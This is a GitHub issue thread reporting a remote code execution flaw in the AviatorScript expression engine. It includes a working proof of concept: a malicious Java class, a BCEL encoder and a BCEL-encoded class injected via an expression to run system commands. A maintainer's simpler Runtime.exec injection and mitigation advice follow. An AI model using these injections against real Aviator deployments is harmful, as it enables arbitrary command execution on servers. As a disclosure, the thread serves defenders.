Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

There is a critical expression injection RCE vulnerability in this expression engine(该表达式引擎存在表达式注入漏洞) #421

Closed
yuligesec opened this issue Sep 30, 2021 · 9 comments

Comments

@yuligesec
Copy link

The new object can be directly entered when entering the aviator expression, but it is not allowed to call non-public static methods. You can use the BCELClassloader to load the BCEL code to complete the RCE.
First prepare a malicious evil.class. Set the public static method exec to execute arbitrary commands.
(输入aviator表达式时可以直接new对象,但是不允许调用非public static的方法。可以使用BCELClassloader加载BCEL编码的形式完成RCE。
首先准备一个恶意的evil.class。设置public static方法exec来执行任意命令。)

import java.io.IOException;
public class evil {
    public static Process exec(String cmd) throws IOException {
        return Runtime.getRuntime().exec(cmd);
    }
}

Then encode it in BCEL.
(然后将其BCEL编码。)

import com.sun.org.apache.bcel.internal.classfile.Utility;
import java.nio.file.Files;
import java.nio.file.Path;
import java.nio.file.Paths;
public class BCELencode {
    public static void main(String []args) throws Exception{
        Path path = Paths.get("evil.class");
        byte[] data = Files.readAllBytes(path);
        String s =  Utility.encode(data,true);
        System.out.print("$$BCEL$$"+s);
    }
}

Prepare the vulnerability environment. Use the latest version of aviatorscript.
(准备漏洞环境。使用最新版的aviatorscript。)

<dependencies>
    <dependency>
        <groupId>com.googlecode.aviator</groupId>
        <artifactId>aviator</artifactId>
        <version>5.3.0-beta</version>
    </dependency>
</dependencies>

Perform aviator expression injection.
(进行aviator表达式注入。)

import com.googlecode.aviator.AviatorEvaluator;
import com.googlecode.aviator.AviatorEvaluatorInstance;
public class test {
    public static void main(String[] args) {
        AviatorEvaluatorInstance evaluator = AviatorEvaluator.newInstance();
        evaluator.execute("'a'+(c=Class.forName(\"$$BCEL$$$l$8b$I$A$A$A$A$A$A$AeP$cbN$c2$40$U$3dCK$5bk$95$97$f8$7e$c4$95$c0$c2$s$c6$j$c6$NjbR$c5$88a_$ca$E$86$40k$da$c1$f0Y$baQ$e3$c2$P$f0$a3$8cw$w$B$a2M$e6$de9$e7$9es$e6$a6_$df$l$9f$ANq$60$p$8b$b2$8dul$a8$b2ib$cb$c46$83q$sB$n$cf$Z$b4J$b5$cd$a07$a2$$g$c8y$o$e4$b7$e3Q$87$c7$P$7egHL$d1$8b$C$7f$d8$f6c$a1$f0$94$d4e_$q$MY$afqsQ$t$c8$t$3c$608$aax$D$ff$c9w$87$7e$d8s$5b2$Wa$af$5e$5d$a0$ee$e2$u$e0IB$G$z$YuU$f4$3f9$83$7d9$J$f8$a3$UQ$98$98$d8$n$dc$8a$c6q$c0$af$84z$d7$a2$f7$8e$95$c9$81$B$d3$c4$ae$83$3d$ec$3bX$c1$w$85$d2$90$n$3f$cflv$G$3c$90$M$a5$94$S$91$7b$dd$9c$853$U$e6$c2$fbq$u$c5$88$f2$ed$k$973P$ae$y$$$3f$a5$eb8$84N$7fT$7d$Z0$b5$GU$8b$90K$9dQ$cf$d6$de$c0$5e$d2$f1$SU$p$r5$d8T$9d_$B$96$e9$G$9a$d2$da$a4R$e6$934$M$b0$de$91$a9$bdB$7b$fe$e37$W$fc$Wr$c8S$_$d0$d1$89$v$d2$v$a5$fa$b5$l$d5$l$f2$9c$f6$B$A$A\",true,new com.sun.org.apache.bcel.internal.util.ClassLoader()) ) + ( c.exec(\"open /System/Applications/Calculator.app\") );");
    }
  }

The command was executed successfully.
(成功执行命令。)
Calc

@meta-sec
Copy link

meta-sec commented Oct 4, 2021

牛逼

@LinoBarreca
Copy link

Nice discovery

@killme2008
Copy link
Owner

killme2008 commented Oct 5, 2021

你有更简单的办法来注入了,既然是全功能的脚本模式,几乎所有的 java api 都可以调用。比如上述注入可以简单修改为:

    AviatorEvaluatorInstance evaluator = AviatorEvaluator.newInstance();
    evaluator.setFunctionMissing(JavaMethodReflectionFunctionMissing.getInstance());
    evaluator.execute("exec(Runtime.getRuntime(), 'open /System/Applications/Calculator.app')");

不建议直接暴露 aviatorscript 脚本执行在公网环境。

@killme2008
Copy link
Owner

killme2008 commented Oct 5, 2021

如果需要控制可以访问的 class 白名单,可以通过 Options.ALLOWED_CLASS_SET 选项,仅限白名单内的 class 可以被 new 或者使用静态变量及方法。

更多安全选项参考 https://www.yuque.com/boyan-avfmj/aviatorscript/ou23gy#elOSu

@killme2008
Copy link
Owner

比如上述例子,在设置禁止(白名单为空)任何静态字段或者静态方法调用后,将调用失败:

 AviatorEvaluatorInstance evaluator = AviatorEvaluator.newInstance();
    evaluator.setOption(Options.ALLOWED_CLASS_SET, Collections.emptySet());
    
Exception in thread "main" com.googlecode.aviator.exception.ExpressionRuntimeException: `class com.sun.org.apache.bcel.internal.util.ClassLoader` is not in allowed class set, check Options.ALLOWED_CLASS_SET
	at com.googlecode.aviator.utils.Env.checkIfClassIsAllowed(Env.java:220)
	at com.googlecode.aviator.utils.Env.resolveClassSymbol(Env.java:177)
	at com.googlecode.aviator.utils.Env.resolveClassSymbol(Env.java:168)
	at com.googlecode.aviator.runtime.function.internal.NewInstanceFunction.variadicCall(NewInstanceFunction.java:48)
	at com.googlecode.aviator.runtime.function.AbstractVariadicFunction.call(AbstractVariadicFunction.java:64)
	at Script_1633443720826_58/1921595561.execute0(Script_1633443720826_58:1)
	at com.googlecode.aviator.ClassExpression.executeDirectly(ClassExpression.java:44)
	at com.googlecode.aviator.BaseExpression.execute(BaseExpression.java:237)
	at com.googlecode.aviator.AviatorEvaluatorInstance.execute(AviatorEvaluatorInstance.java:1639)
	at com.googlecode.aviator.AviatorEvaluatorInstance.execute(AviatorEvaluatorInstance.java:1654)
	at com.googlecode.aviator.AviatorEvaluatorInstance.execute(AviatorEvaluatorInstance.java:1690)

更多安全选项可以参考

https://www.yuque.com/boyan-avfmj/aviatorscript/ou23gy#elOSu

不过这些选项也仅限我能想到的,可能还存在别的隐患,从我的角度,不推荐直接将脚本的执行(不仅是 aviatorscript 了,几乎任何可运行脚本的开放都应该慎重)开放到任何不可信的环境,如果确实需要,可以参考上述文档设置必要的选项,其次是这样的 API 或者接口都应该做严格的鉴权。

@killme2008
Copy link
Owner

killme2008 commented Oct 8, 2021

AviatorScript is just a script language(engine), and if you export an API or something else to execute a script by users publicly, you must count on yourself to ensure security.

But AviatorScript provides some security options https://www.yuque.com/boyan-avfmj/aviatorscript/ou23gy#elOSu. In this case, you can

  • disable new syntax feature by evaluator.disableFeature(Feature.NewInstance).
  • or set Opitons. ALLOWED_CLASS_SET (For example, disable all classes evaluator.setOption(Options.ALLOWED_CLASS_SET, Collections.emptySet());) value to set a white list for classes.

My suggestion is that please use a script engine in internal and trustable environment, if you can't , you must protected the API or interface by authorization and try to set some security options. Thank you.

@Soontao
Copy link

Soontao commented Oct 11, 2021

it seems that BCEL injection is not applicable for Aviator 4.x, the same code can not be reproduced in 4.x, and the engine will throw the parsing exception:

com.googlecode.aviator.exception.ExpressionSyntaxErrorException: Syntax error:insert ')' to complete Expression at 824, current token: [type='variable',lexeme='new',index=824]. Parsing expression: `'a'+(c=Class.forName("$$BCEL$$$l$8b$I$A$A$A$A$A$A$AeP$cbN$c2$40$U$3dCK$5bk$95$97$f8$7e$c4$95$c0$c2$s$c6$j$c6$NjbR$c5$88a_$ca$E$86$40k$da$c1$f0Y$baQ$e3$c2$P$f0$a3$8cw$w$B$a2M$e6$de9$e7$9es$e6$a6_$df$l$9f$ANq$60$p$8b$b2$8dul$a8$b2ib$cb$c46$83q$sB$n$cf$Z$b4J$b5$cd$a07$a2$$g$c8y$o$e4$b7$e3Q$87$c7$P$7egHL$d1$8b$C$7f$d8$f6c$a1$f0$94$d4e_$q$MY$afqsQ$t$c8$t$3c$608$aax$D$ff$c9w$87$7e$d8s$5b2$Wa$af$5e$5d$a0$ee$e2$u$e0IB$G$z$YuU$f4$3f9$83$7d9$J$f8$a3$UQ$98$98$d8$n$dc$8a$c6q$c0$af$84z$d7$a2$f7$8e$95$c9$81$B$d3$c4$ae$83$3d$ec$3bX$c1$w$85$d2$90$n$3f$cflv$G$3c$90$M$a5$94$S$91$7b$dd$9c$853$U$e6$c2$fbq$u$c5$88$f2$ed$k$973P$ae$y$$$3f$a5$eb8$84N$7fT$7d$Z0$b5$GU$8b$90K$9dQ$cf$d6$de$c0$5e$d2$f1$SU$p$r5$d8T$9d_$B$96$e9$G$9a$d2$da$a4R$e6$934$M$b0$de$91$a9$bdB$7b$fe$e37$W$fc$Wr$c8S$_$d0$d1$89$v$d2$v$a5$fa$b5$l$d5$l$f2$9c$f6$B$A$A",true,new com.sun.org.apache.bcel.internal.util.ClassLoader^^`

Meanwhile, from 5.0.0 to 5.2.0, the engine will throw exception and will be safe:

com.googlecode.aviator.exception.FunctionNotFoundException: Function not found: Class.forName

The BCEL only could be reproduced above the version 5.2.1 (include).

@killme2008
Copy link
Owner

killme2008 commented Oct 11, 2021

@Soontao That's because aviator 4.x and older versions is not a script language but a simple expression evaluator doesn't support new/if/for statements etc.

@killme2008
Copy link
Owner

Please read the release note and documents. I don't want to reply this thread any more, thank you.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

No branches or pull requests

5 participants